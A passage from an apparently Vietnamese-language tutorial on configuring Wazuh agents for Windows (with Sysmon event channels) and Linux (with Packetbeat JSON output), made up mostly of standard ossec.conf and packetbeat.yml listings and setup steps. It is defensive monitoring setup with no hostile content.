		<location>Microsoft-Windows-TaskScheduler/Operational</location>
		<log_format>eventchannel</log_format>
	</localfile>
	<localfile>
		<location>Microsoft-Windows-PowerShell/Operational</location>
		<log_format>eventchannel</log_format>
	</localfile>
	<localfile>
		<location>Microsoft-Windows-Windows Firewall With Advanced Security/Firewall</location>
		<log_format>eventchannel</log_format>
	</localfile>
	<localfile>
		<location>Microsoft-Windows-Windows Defender/Operational</location>
		<log_format>eventchannel</log_format>
	</localfile>
</agent_config>

Kiểm tra lại file cấu hình ở trên, nếu có phần

	<localfile>
		<location>Microsoft-Windows-Sysmon/Operational</location>
		<log_format>eventchannel</log_format>
	</localfile>

thì manager mới nhận được log từ Sysmon

Tiếp theo, tôi tải Wazuh-agent cho Windows từ trang chủ của Wazuh và chạy nó với quyền Admin.

Sau khi cài đặt xong, có 1 thư mục tên ossec-agent sẽ xuất hiện trong Program Files (x86). File cấu hình của agent sẽ nằm trong thư mục này có tên ossec.conf.

Tôi sẽ sửa đổi nó 1 chút để có thể nhận IP của Wazuh-manager và chui vào group OS-WINDOWS mà tôi vừa tạo phía trên. Chỉ cần thay đổi address cho đúng với IP của manager.

<!--
  Wazuh - Agent - Default configuration for Windows
  More info at: https://documentation.wazuh.com
  Mailing list: https://groups.google.com/forum/#!forum/wazuh
-->

<ossec_config>

  <client>
    <server>
      <address>10.10.24.1</address>       
      <port>1514</port>
      <protocol>tcp</protocol>
    </server>
    <config-profile>windows, windows10</config-profile>
    <crypto_method>aes</crypto_method>
    <notify_time>10</notify_time>
    <time-reconnect>60</time-reconnect>
    <auto_restart>yes</auto_restart>
    <enrollment>
        <enabled>yes</enabled>
        <manager_address>10.10.24.1</manager_address>
        <groups>OS-WINDOWS</groups>
    </enrollment>
  </client>


  <!-- Agent buffer options -->
  <client_buffer>
    <disabled>no</disabled>
    <queue_size>5000</queue_size>
    <events_per_second>500</events_per_second>
  </client_buffer>

  <!-- Log analysis -->
  <localfile>
    <location>Application</location>
    <log_format>eventchannel</log_format>
  </localfile>

  <localfile>
    <location>Security</location>
    <log_format>eventchannel</log_format>
    <query>Event/System[EventID != 5145 and EventID != 5156 and EventID != 5447 and
      EventID != 4656 and EventID != 4658 and EventID != 4663 and EventID != 4660 and
      EventID != 4670 and EventID != 4690 and EventID != 4703 and EventID != 4907 and
      EventID != 5152 and EventID != 5157]</query>
  </localfile>

  <localfile>
    <location>System</location>
    <log_format>eventchannel</log_format>
  </localfile>

  <localfile>
    <location>active-response\active-responses.log</location>
    <log_format>syslog</log_format>
  </localfile>

  <!-- Policy monitoring -->
  <rootcheck>
    <disabled>no</disabled>
    <windows_apps>./shared/win_applications_rcl.txt</windows_apps>
    <windows_malware>./shared/win_malware_rcl.txt</windows_malware>
  </rootcheck>

  <!-- Security Configuration Assessment -->
  <sca>
    <enabled>yes</enabled>
    <scan_on_start>yes</scan_on_start>
    <interval>12h</interval>
    <skip_nfs>yes</skip_nfs>
  </sca>

  <!-- File integrity monitoring -->
  <syscheck>

    <disabled>no</disabled>

    <!-- Frequency that syscheck is executed default every 12 hours -->
    <frequency>43200</frequency>

    <!-- Default files to be monitored. -->
    <directories recursion_level="0" restrict="regedit.exe$|system.ini$|win.ini$">%WINDIR%</directories>

    <directories recursion_level="0" restrict="at.exe$|attrib.exe$|cacls.exe$|cmd.exe$|eventcreate.exe$|ftp.exe$|lsass.exe$|net.exe$|net1.exe$|netsh.exe$|reg.exe$|regedt32.exe|regsvr32.exe|runas.exe|sc.exe|schtasks.exe|sethc.exe|subst.exe$">%WINDIR%\SysNative</directories>
    <directories recursion_level="0">%WINDIR%\SysNative\drivers\etc</directories>
    <directories recursion_level="0" restrict="WMIC.exe$">%WINDIR%\SysNative\wbem</directories>
    <directories recursion_level="0" restrict="powershell.exe$">%WINDIR%\SysNative\WindowsPowerShell\v1.0</directories>
    <directories recursion_level="0" restrict="winrm.vbs$">%WINDIR%\SysNative</directories>

    <!-- 32-bit programs. -->
    <directories recursion_level="0" restrict="at.exe$|attrib.exe$|cacls.exe$|cmd.exe$|eventcreate.exe$|ftp.exe$|lsass.exe$|net.exe$|net1.exe$|netsh.exe$|reg.exe$|regedit.exe$|regedt32.exe$|regsvr32.exe$|runas.exe$|sc.exe$|schtasks.exe$|sethc.exe$|subst.exe$">%WINDIR%\System32</directories>
    <directories recursion_level="0">%WINDIR%\System32\drivers\etc</directories>
    <directories recursion_level="0" restrict="WMIC.exe$">%WINDIR%\System32\wbem</directories>
    <directories recursion_level="0" restrict="powershell.exe$">%WINDIR%\System32\WindowsPowerShell\v1.0</directories>
    <directories recursion_level="0" restrict="winrm.vbs$">%WINDIR%\System32</directories>

    <directories realtime="yes">%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup</directories>

    <ignore>%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini</ignore>

    <ignore type="sregex">.log$|.htm$|.jpg$|.webp$|.chm$|.pnf$|.evtx$</ignore>

    <!-- Windows registry entries to monitor. -->
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\batfile</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\cmdfile</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\comfile</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\exefile</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\piffile</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\AllFilesystemObjects</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\Directory</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\Folder</windows_registry>
    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Classes\Protocols</windows_registry>
    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Policies</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Security</windows_registry>
    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer</windows_registry>

    <windows_registry>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\winreg</windows_registry>

    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</windows_registry>
    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</windows_registry>
    <windows_registry>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</windows_registry>
    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\URL</windows_registry>
    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies</windows_registry>
    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</windows_registry>
    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon</windows_registry>

    <windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components</windows_registry>

    <!-- Windows registry entries to ignore. -->
    <registry_ignore>HKEY_LOCAL_MACHINE\Security\Policy\Secrets</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\Security\SAM\Domains\Account\Users</registry_ignore>
    <registry_ignore type="sregex">\Enum$</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\AppCs</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\DHCP</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\IPTLSIn</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\IPTLSOut</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\RPC-EPMap</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\Teredo</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PolicyAgent\Parameters\Cache</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</registry_ignore>
    <registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ADOVMPPackage\Final</registry_ignore>

    <!-- Frequency for ACL checking (seconds) -->
    <windows_audit_interval>60</windows_audit_interval>

    <!-- Nice value for Syscheck module -->
    <process_priority>10</process_priority>

    <!-- Maximum output throughput -->
    <max_eps>100</max_eps>

    <!-- Database synchronization settings -->
    <synchronization>
      <enabled>yes</enabled>
      <interval>5m</interval>
      <max_interval>1h</max_interval>
      <max_eps>10</max_eps>
    </synchronization>
  </syscheck>

  <!-- System inventory -->
  <wodle name="syscollector">
    <disabled>no</disabled>
    <interval>1h</interval>
    <scan_on_start>yes</scan_on_start>
    <hardware>yes</hardware>
    <os>yes</os>
    <network>yes</network>
    <packages>yes</packages>
    <ports all="no">yes</ports>
    <processes>yes</processes>

    <!-- Database synchronization settings -->
    <synchronization>
      <max_eps>10</max_eps>
    </synchronization>
  </wodle>

  <!-- CIS policies evaluation -->
  <wodle name="cis-cat">
    <disabled>yes</disabled>
    <timeout>1800</timeout>
    <interval>1d</interval>
    <scan-on-start>yes</scan-on-start>

    <java_path>\\server\jre\bin\java.exe</java_path>
    <ciscat_path>C:\cis-cat</ciscat_path>
  </wodle>

  <!-- Osquery integration -->
  <wodle name="osquery">
    <disabled>yes</disabled>
    <run_daemon>yes</run_daemon>
    <bin_path>C:\Program Files\osquery\osqueryd</bin_path>
    <log_path>C:\Program Files\osquery\log\osqueryd.results.log</log_path>
    <config_path>C:\Program Files\osquery\osquery.conf</config_path>
    <add_labels>yes</add_labels>
  </wodle>

  <!-- Active response -->
  <active-response>
    <disabled>no</disabled>
    <ca_store>wpk_root.pem</ca_store>
    <ca_verification>yes</ca_verification>
  </active-response>

  <!-- Choose between plain or json format (or both) for internal logs -->
  <logging>
    <log_format>plain</log_format>
  </logging>

</ossec_config>

<!-- END of Default Configuration. -->

Lưu file lại. Sau đó chạy win32ui.exe với quyền admin. Chọn Manage -> Restart. Chờ 1 lúc để hệ thống tạo kết nối và vào Manager để kiểm tra lại.

Linux OS

Packetbeat

Packetbeat là một công cụ phân tích lưu lượng mạng và hiệu năng hệ thống. Nó hoạt động bằng cách chụp lại các traffic mạng giữa các ứng dụng, dịch vụ, và tất nhiên là cả những traffic ra và vào internet.

Ví dụ tôi đang có máy Ubuntu 22.04 và muốn cài agent lên đây thì tôi sẽ cài Packetbeat bằng apt.

Tuy nhiên tôi sẽ thay đổi cấu hình của Packetbeat một chút theo mục đích của tôi. Tôi sẽ thay đổi output của Packetbeat để manager có thể lấy log của nó dễ dàng hơn

#################### Packetbeat Configuration Example #########################

# This file is an example configuration file highlighting only the most common
# options. The packetbeat.reference.yml file from the same directory contains all the
# supported options with more comments. You can use it as a reference.
#
# You can find the full configuration reference here:
# https://www.elastic.co/guide/en/beats/packetbeat/index.html

# =============================== Network device ===============================

# Select the network interface to sniff the data. On Linux, you can use the
# "any" keyword to sniff on all connected interfaces.
packetbeat.interfaces.device: any

# The network CIDR blocks that are considered "internal" networks for
# the purpose of network perimeter boundary classification. The valid
# values for internal_networks are the same as those that can be used
# with processor network conditions.
#
# For a list of available values see:
# https://www.elastic.co/guide/en/beats/packetbeat/current/defining-processors.html#condition-network
packetbeat.interfaces.internal_networks:
  - private

# =================================== Flows ====================================

# Set `enabled: false` or comment out all options to disable flows reporting.
packetbeat.flows:
  # Set network flow timeout. Flow is killed if no packet is received before being
  # timed out.
  timeout: 30s

  # Configure reporting period. If set to -1, only killed flows will be reported
  period: 10s

# =========================== Transaction protocols ============================

packetbeat.protocols:
- type: icmp
  # Enable ICMPv4 and ICMPv6 monitoring. The default is true.
  enabled: true

- type: amqp
  # Configure the ports where to listen for AMQP traffic. You can disable
  # the AMQP protocol by commenting out the list of ports.
  ports: [5672]

- type: cassandra
  # Configure the ports where to listen for Cassandra traffic. You can disable
  # the Cassandra protocol by commenting out the list of ports.
  ports: [9042]

- type: dhcpv4
  # Configure the DHCP for IPv4 ports.
  ports: [67, 68]

- type: dns
  # Configure the ports where to listen for DNS traffic. You can disable
  # the DNS protocol by commenting out the list of ports.
  ports: [53]

- type: http
  # Configure the ports where to listen for HTTP traffic. You can disable
  # the HTTP protocol by commenting out the list of ports.
  ports: [80, 8080, 8000, 5000, 8002]

- type: memcache
  # Configure the ports where to listen for memcache traffic. You can disable
  # the Memcache protocol by commenting out the list of ports.
  ports: [11211]

- type: mysql
  # Configure the ports where to listen for MySQL traffic. You can disable
  # the MySQL protocol by commenting out the list of ports.
  ports: [3306,3307]

- type: pgsql
  # Configure the ports where to listen for Pgsql traffic. You can disable
  # the Pgsql protocol by commenting out the list of ports.
  ports: [5432]

- type: redis
  # Configure the ports where to listen for Redis traffic. You can disable
  # the Redis protocol by commenting out the list of ports.
  ports: [6379]

- type: thrift
  # Configure the ports where to listen for Thrift-RPC traffic. You can disable
  # the Thrift-RPC protocol by commenting out the list of ports.
  ports: [9090]

- type: mongodb
  # Configure the ports where to listen for MongoDB traffic. You can disable
  # the MongoDB protocol by commenting out the list of ports.
  ports: [27017]

- type: nfs
  # Configure the ports where to listen for NFS traffic. You can disable
  # the NFS protocol by commenting out the list of ports.
  ports: [2049]

- type: tls
  # Configure the ports where to listen for TLS traffic. You can disable
  # the TLS protocol by commenting out the list of ports.
  ports:
    - 443   # HTTPS
    - 993   # IMAPS
    - 995   # POP3S
    - 5223  # XMPP over SSL
    - 8443
    - 8883  # Secure MQTT
    - 9243  # Elasticsearch

- type: sip
  # Configure the ports where to listen for SIP traffic. You can disable
  # the SIP protocol by commenting out the list of ports.
  ports: [5060]

# ======================= Elasticsearch template setting =======================

setup.template.settings:
  index.number_of_shards: 1
  #index.codec: best_compression
  #_source.enabled: false

# ================================== General ===================================

# The name of the shipper that publishes the network data. It can be used to group
# all the transactions sent by a single shipper in the web interface.
#name:

# A list of tags to include in every event. In the default configuration file
# the forwarded tag causes Packetbeat to not add any host fields. If you are
# monitoring a network tap or mirror port then add the forwarded tag.
#tags: [forwarded]

# Optional fields that you can specify to add additional information to the
# output.
#fields:
#  env: staging

# ================================= Dashboards =================================
# These settings control loading the sample dashboards to the Kibana index. Loading
# the dashboards is disabled by default and can be enabled either by setting the
# options here or by using the `setup` command.
#setup.dashboards.enabled: false

# The URL from where to download the dashboards archive. By default this URL
# has a value which is computed based on the Beat name and version. For released
# versions, this URL points to the dashboard archive on the artifacts.elastic.co
# website.
#setup.dashboards.url:

# =================================== Kibana ===================================

# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API.
# This requires a Kibana endpoint configuration.
setup.kibana:

  # Kibana Host
  # Scheme and port can be left out and will be set to the default (http and 5601)
  # In case you specify and additional path, the scheme is required: http://localhost:5601/path
  # IPv6 addresses should always be defined as: https://[2001:db8::1]:5601
  #host: "localhost:5601"

  # Kibana Space ID
  # ID of the Kibana Space into which the dashboards should be loaded. By default,
  # the Default Space will be used.
  #space.id:

# =============================== Elastic Cloud ================================

# These settings simplify using Packetbeat with the Elastic Cloud (https://cloud.elastic.co/).

# The cloud.id setting overwrites the `output.elasticsearch.hosts` and
# `setup.kibana.host` options.
# You can find the `cloud.id` in the Elastic Cloud web UI.
#cloud.id:

# The cloud.auth setting overwrites the `output.elasticsearch.username` and
# `output.elasticsearch.password` settings. The format is `<user>:<pass>`.
#cloud.auth:

# ================================== Outputs ===================================

# Configure what output to use when sending the data collected by the beat.

# ---------------------------- Elasticsearch Output ----------------------------
#output.elasticsearch:
  # Array of hosts to connect to.
#  hosts: ["localhost:9200"]

  # Protocol - either `http` (default) or `https`.
  #protocol: "https"

  # Authentication credentials - either API key or username/password.
  #api_key: "id:api_key"
  #username: "elastic"
  #password: "changeme"
  
output.file:
 path: "/tmp/packetbeat"
 filename: packetbeat
# ------------------------------ Logstash Output -------------------------------
#output.logstash:
  # The Logstash hosts
  #hosts: ["localhost:5044"]

  # Optional SSL. By default is off.
  # List of root certificates for HTTPS server verifications
  #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]

  # Certificate for SSL client authentication
  #ssl.certificate: "/etc/pki/client/cert.pem"

  # Client Certificate Key
  #ssl.key: "/etc/pki/client/cert.key"

# ================================= Processors =================================

processors:
  - # Add forwarded to tags when processing data from a network tap or mirror.
    if.contains.tags: forwarded
    then:
      - drop_fields:
          fields: [host]
    else:
      - add_host_metadata: ~
  - add_cloud_metadata: ~
  - add_docker_metadata: ~
  - detect_mime_type:
      field: http.request.body.content
      target: http.request.mime_type
  - detect_mime_type:
      field: http.response.body.content
      target: http.response.mime_type

# ================================== Logging ===================================

# Sets log level. The default log level is info.
# Available log levels are: error, warning, info, debug
#logging.level: debug

# At debug level, you can selectively enable logging only for some components.
# To enable all selectors use ["*"]. Examples of other selectors are "beat",
# "publisher", "service".
#logging.selectors: ["*"]

# ============================= X-Pack Monitoring ==============================
# Packetbeat can export internal metrics to a central Elasticsearch monitoring
# cluster.  This requires xpack monitoring to be enabled in Elasticsearch.  The
# reporting is disabled by default.

# Set to true to enable the monitoring reporter.
#monitoring.enabled: false

# Sets the UUID of the Elasticsearch cluster under which monitoring data for this
# Packetbeat instance will appear in the Stack Monitoring UI. If output.elasticsearch
# is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch.
#monitoring.cluster_uuid:

# Uncomment to send the metrics to Elasticsearch. Most settings from the
# Elasticsearch output are accepted here as well.
# Note that the settings should point to your Elasticsearch *monitoring* cluster.
# Any setting that is not set is automatically inherited from the Elasticsearch
# output configuration, so if you have the Elasticsearch output configured such
# that it is pointing to your Elasticsearch monitoring cluster, you can simply
# uncomment the following line.
#monitoring.elasticsearch:

# ============================== Instrumentation ===============================

# Instrumentation support for the packetbeat.
#instrumentation:
    # Set to true to enable instrumentation of packetbeat.
    #enabled: false

    # Environment in which packetbeat is running on (eg: staging, production, etc.)
    #environment: ""

    # APM Server hosts to report instrumentation results to.
    #hosts:
    #  - http://localhost:8200

    # API Key for the APM Server(s).
    # If api_key is set then secret_token will be ignored.
    #api_key:

    # Secret token for the APM Server(s).
    #secret_token:


# ================================= Migration ==================================

# This allows to enable 6.7 migration aliases
#migration.6_to_7.enabled: true

Lưu lại file và khởi động lại dịch vụ

systemctl restart packetbeat

Cài đặt Wazuh-agent cho linux

Như đã tạo group OS-LINUX cho manager ở trên nên bây giờ tôi chỉ cần thay đổi cấu hình của group này

<agent_config>
	<client_buffer>
		<!-- Agent buffer options -->
		<disabled>no</disabled>
		<queue_size>5000</queue_size>
		<events_per_second>500</events_per_second>
	</client_buffer>
	<!-- Policy monitoring -->
	<rootcheck>
		<disabled>no</disabled>
		<!-- Frequency that rootcheck is executed - every 12 hours -->
		<frequency>43200</frequency>
		<rootkit_files>/var/ossec/etc/shared/rootkit_files.txt</rootkit_files>
		<rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_trojans>
		<system_audit>/var/ossec/etc/shared/system_audit_rcl.txt</system_audit>
		<system_audit>/var/ossec/etc/shared/system_audit_ssh.txt</system_audit>
		<system_audit>/var/ossec/etc/shared/cis_debian_linux_rcl.txt</system_audit>
		<skip_nfs>yes</skip_nfs>
	</rootcheck>
	<wodle name="open-scap">
		<disabled>yes</disabled>
		<timeout>1800</timeout>
		<interval>1d</interval>
		<scan-on-start>yes</scan-on-start>
		<content type="xccdf" path="ssg-debian-8-ds.xml">
			<profile>xccdf_org.ssgproject.content_profile_common</profile>
		</content>
		<content type="oval" path="cve-debian-oval.xml"/>
	</wodle>
	<!-- File integrity monitoring -->
	<syscheck>
		<disabled>no</disabled>
		<!-- Frequency that syscheck is executed default every 12 hours -->
		<frequency>43200</frequency>
		<scan_on_start>yes</scan_on_start>
		<!-- Directories to check  (perform all possible verifications) -->
		<directories>/etc,/usr/bin,/usr/sbin</directories>
		<directories>/bin,/sbin,/boot</directories>
		<!-- Files/directories to ignore -->
		<ignore>/etc/mtab</ignore>
		<ignore>/etc/hosts.deny</ignore>
		<ignore>/etc/mail/statistics</ignore>
		<ignore>/etc/random-seed</ignore>
		<ignore>/etc/random.seed</ignore>
		<ignore>/etc/adjtime</ignore>
		<ignore>/etc/httpd/logs</ignore>
		<ignore>/etc/utmpx</ignore>
		<ignore>/etc/wtmpx</ignore>
		<ignore>/etc/cups/certs</ignore>
		<ignore>/etc/dumpdates</ignore>
		<ignore>/etc/svc/volatile</ignore>
		<ignore>/sys/kernel/security</ignore>
		<ignore>/sys/kernel/debug</ignore>
		<!-- File types to ignore -->
		<ignore type="sregex">.log$|.swp$</ignore>
		<!-- Check the file, but never compute the diff -->
		<nodiff>/etc/ssl/private.key</nodiff>
		<skip_nfs>yes</skip_nfs>
		<skip_dev>yes</skip_dev>
		<skip_proc>yes</skip_proc>
		<skip_sys>yes</skip_sys>
		<!-- Nice value for Syscheck process -->
		<process_priority>10</process_priority>
		<!-- Maximum output throughput -->
		<max_eps>100</max_eps>
		<!-- Database synchronization settings -->
		<synchronization>
			<enabled>yes</enabled>
			<interval>5m</interval>
			<response_timeout>30</response_timeout>
			<queue_size>16384</queue_size>
			<max_eps>10</max_eps>
		</synchronization>
	</syscheck>
	<!-- Log analysis -->
	<localfile>
		<log_format>json</log_format>
		<location>/tmp/packetbeat/packetbeat*</location>
	</localfile>
	<localfile>
		<log_format>syslog</log_format>
		<location>/var/ossec/logs/active-responses.log</location>
	</localfile>
	<localfile>
		<log_format>syslog</log_format>
		<location>/var/log/messages</location>
	</localfile>
	<localfile>
		<log_format>syslog</log_format>
		<location>/var/log/auth.log</location>
	</localfile>
	<localfile>
		<log_format>syslog</log_format>
		<location>/var/log/syslog</location>
	</localfile>
	<localfile>
		<log_format>command</log_format>
		<command>df -P</command>
		<frequency>360</frequency>
	</localfile>
	<localfile>
		<log_format>full_command</log_format>
		<command>netstat -tan |grep LISTEN |grep -v 127.0.0.1 | sort</command>
		<frequency>360</frequency>
	</localfile>
	<localfile>
		<log_format>full_command</log_format>
		<command>last -n 5</command>
		<frequency>360</frequency>
	</localfile>
	<wodle name="osquery">
		<disabled>yes</disabled>
		<run_daemon>yes</run_daemon>
		<log_path>/var/log/osquery/osqueryd.results.log</log_path>
		<config_path>/etc/osquery/osquery.conf</config_path>
		<add_labels>yes</add_labels>
	</wodle>
	<wodle name="syscollector">
		<disabled>no</disabled>
		<interval>24h</interval>
		<scan_on_start>yes</scan_on_start>
		<packages>yes</packages>
		<os>yes</os>
		<hotfixes>yes</hotfixes>
		<ports all="no">yes</ports>
		<processes>yes</processes>
	</wodle>
</agent_config>

Kiểm tra lại file cấu hình ở trên, nếu có phần

	<localfile>
		<log_format>json</log_format>
		<location>/tmp/packetbeat/packetbeat*</location>
	</localfile>

thì manager mới nhận được log từ Packetbeat

Tiếp theo tôi sẽ cài đặt Wazuh-agent cho Linux theo hướng dẫn của Wazuh. Tuy nhiên tôi sẽ sửa cấu hình của agent theo mục đích của mình.

Đầu tiên tôi xóa file config mặc định

rm -rf /var/ossec/etc/ossec.conf

Tạo file config mới và thêm cấu hình. Thay phần address bằng IP của manager

nano /var/ossec/etc/ossec.conf
<!--
  Wazuh - Agent - Default configuration for rhel 7.9
  More info at: https://documentation.wazuh.com
  Mailing list: https://groups.google.com/forum/#!forum/wazuh
-->

<ossec_config>
  <client>
    <server>
      <address>10.10.24.1</address>
      <port>1514</port>
      <protocol>tcp</protocol>
    </server>
    <config-profile>linux</config-profile>
    <notify_time>10</notify_time>
    <time-reconnect>60</time-reconnect>
    <auto_restart>yes</auto_restart>
    <crypto_method>aes</crypto_method>
    <notify_time>10</notify_time>
    <time-reconnect>60</time-reconnect>
    <auto_restart>yes</auto_restart>
    <enrollment>
        <enabled>yes</enabled>
        <manager_address>10.10.24.1</manager_address>
        <groups>OS-LINUX</groups>
    </enrollment> 
  </client>

  <client_buffer>
    <!-- Agent buffer options -->
    <disabled>no</disabled>
    <queue_size>5000</queue_size>
    <events_per_second>500</events_per_second>
  </client_buffer>

  <!-- Policy monitoring -->
  <rootcheck>
    <disabled>no</disabled>
    <check_files>yes</check_files>
    <check_trojans>yes</check_trojans>
    <check_dev>yes</check_dev>
    <check_sys>yes</check_sys>
    <check_pids>yes</check_pids>
    <check_ports>yes</check_ports>
    <check_if>yes</check_if>

    <!-- Frequency that rootcheck is executed - every 12 hours -->
    <frequency>43200</frequency>

    <rootkit_files>etc/shared/rootkit_files.txt</rootkit_files>
    <rootkit_trojans>etc/shared/rootkit_trojans.txt</rootkit_trojans>

    <skip_nfs>yes</skip_nfs>
  </rootcheck>

  <wodle name="cis-cat">
    <disabled>yes</disabled>
    <timeout>1800</timeout>
    <interval>1d</interval>
    <scan-on-start>yes</scan-on-start>

    <java_path>wodles/java</java_path>
    <ciscat_path>wodles/ciscat</ciscat_path>
  </wodle>

  <!-- Osquery integration -->
  <wodle name="osquery">
    <disabled>yes</disabled>
    <run_daemon>yes</run_daemon>
    <log_path>/var/log/osquery/osqueryd.results.log</log_path>
    <config_path>/etc/osquery/osquery.conf</config_path>
    <add_labels>yes</add_labels>
  </wodle>

  <!-- System inventory -->
  <wodle name="syscollector">
    <disabled>no</disabled>
    <interval>1h</interval>
    <scan_on_start>yes</scan_on_start>
    <hardware>yes</hardware>
    <os>yes</os>
    <network>yes</network>
    <packages>yes</packages>
    <ports all="no">yes</ports>
    <processes>yes</processes>

    <!-- Database synchronization settings -->
    <synchronization>
      <max_eps>10</max_eps>
    </synchronization>
  </wodle>

  <sca>
    <enabled>yes</enabled>
    <scan_on_start>yes</scan_on_start>
    <interval>12h</interval>
    <skip_nfs>yes</skip_nfs>
  </sca>

  <!-- File integrity monitoring -->
  <syscheck>
    <disabled>no</disabled>

    <!-- Frequency that syscheck is executed default every 12 hours -->
    <frequency>43200</frequency>

    <scan_on_start>yes</scan_on_start>

    <!-- Directories to check  (perform all possible verifications) -->
    <directories>/etc,/usr/bin,/usr/sbin</directories>
    <directories>/bin,/sbin,/boot</directories>

    <!-- Files/directories to ignore -->
    <ignore>/etc/mtab</ignore>
    <ignore>/etc/hosts.deny</ignore>
    <ignore>/etc/mail/statistics</ignore>
    <ignore>/etc/random-seed</ignore>
    <ignore>/etc/random.seed</ignore>
    <ignore>/etc/adjtime</ignore>
    <ignore>/etc/httpd/logs</ignore>
    <ignore>/etc/utmpx</ignore>
    <ignore>/etc/wtmpx</ignore>
    <ignore>/etc/cups/certs</ignore>
    <ignore>/etc/dumpdates</ignore>
    <ignore>/etc/svc/volatile</ignore>

    <!-- File types to ignore -->
    <ignore type="sregex">.log$|.swp$</ignore>

    <!-- Check the file, but never compute the diff -->
    <nodiff>/etc/ssl/private.key</nodiff>

    <skip_nfs>yes</skip_nfs>
    <skip_dev>yes</skip_dev>
    <skip_proc>yes</skip_proc>
    <skip_sys>yes</skip_sys>

    <!-- Nice value for Syscheck process -->
    <process_priority>10</process_priority>

    <!-- Maximum output throughput -->
    <max_eps>100</max_eps>

    <!-- Database synchronization settings -->
    <synchronization>
      <enabled>yes</enabled>
      <interval>5m</interval>
      <max_interval>1h</max_interval>
      <max_eps>10</max_eps>
    </synchronization>
  </syscheck>

  <!-- Log analysis -->
  <localfile>
    <log_format>command</log_format>
    <command>df -P</command>
    <frequency>360</frequency>
  </localfile>

  <localfile>
    <log_format>full_command</log_format>
    <command>netstat -tulpn | sed 's/\([[:alnum:]]\+\)\ \+[[:digit:]]\+\ \+[[:digit:]]\+\ \+\(.*\):\([[:digit:]]*\)\ \+\([0-9\.\:\*]\+\).\+\ \([[:digit:]]*\/[[:alnum:]\-]*\).*/\1 \2 == \3 == \4 \5/' | sort -k 4 -g | sed 's/ == \(.*\) ==/:\1/' | sed 1,2d</command>
    <alias>netstat listening ports</alias>
    <frequency>360</frequency>
  </localfile>

  <localfile>
    <log_format>full_command</log_format>
    <command>last -n 20</command>
    <frequency>360</frequency>
  </localfile>

  <!-- Active response -->
  <active-response>
    <disabled>no</disabled>
    <ca_store>etc/wpk_root.pem</ca_store>
    <ca_verification>yes</ca_verification>
  </active-response>

  <!-- Choose between "plain", "json", or "plain,json" for the format of internal logs -->
  <logging>
    <log_format>plain</log_format>
  </logging>

</ossec_config>

<ossec_config>
  <localfile>
    <log_format>apache</log_format>
    <location>/var/log/httpd/error_log</location>
  </localfile>

  <localfile>
    <log_format>apache</log_format>
    <location>/var/log/httpd/access_log</location>
  </localfile>

  <localfile>
    <log_format>audit</log_format>
    <location>/var/log/audit/audit.log</location>
  </localfile>

  <localfile>
    <log_format>syslog</log_format>
    <location>/var/ossec/logs/active-responses.log</location>
  </localfile>

  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/messages</location>
  </localfile>

  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/secure</location>
  </localfile>

  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/maillog</location>
  </localfile>

  <localfile>
	<log_format>json</log_format>
	<location>/tmp/packetbeat/packetbeat</location>
  </localfile> 
</ossec_config>

<ossec_config>
  <localfile>
    <log_format>full_command</log_format>
    <alias>process list</alias>
    <command>ps -e -o pid,uname,command</command>
